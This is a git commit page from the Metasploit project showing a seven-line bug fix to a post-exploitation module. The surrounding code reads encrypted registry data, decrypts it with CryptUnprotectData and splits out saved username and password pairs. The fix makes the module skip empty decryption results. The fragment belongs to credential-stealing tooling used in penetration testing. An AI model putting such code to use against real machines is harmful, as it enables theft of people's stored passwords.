Land #2578, @wchen-r7's [FixRM #8525]

bug/bundler_fix
jvazquez-r7 2013-10-25 13:28:59 -05:00
commit df83114f0b
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 7 additions and 0 deletions

View File

@ -319,8 +319,15 @@ class Metasploit3 < Msf::Post
if val_arr.include?(hash) if val_arr.include?(hash)
data = registry_getvaldata(regpath, hash) data = registry_getvaldata(regpath, hash)
dec = decrypt_reg(url, data) dec = decrypt_reg(url, data)
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
# returning an array of nils. If this happens, we can cause an "undefined method
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
next if dec.empty?
#decode data and add to creds array #decode data and add to creds array
header = dec.unpack("VVVVVV") header = dec.unpack("VVVVVV")
offset = header[0] + header[1] #offset to start of data offset = header[0] + header[1] #offset to start of data
cnt = header[5]/2 # of username/password combinations cnt = header[5]/2 # of username/password combinations
secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00") secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00")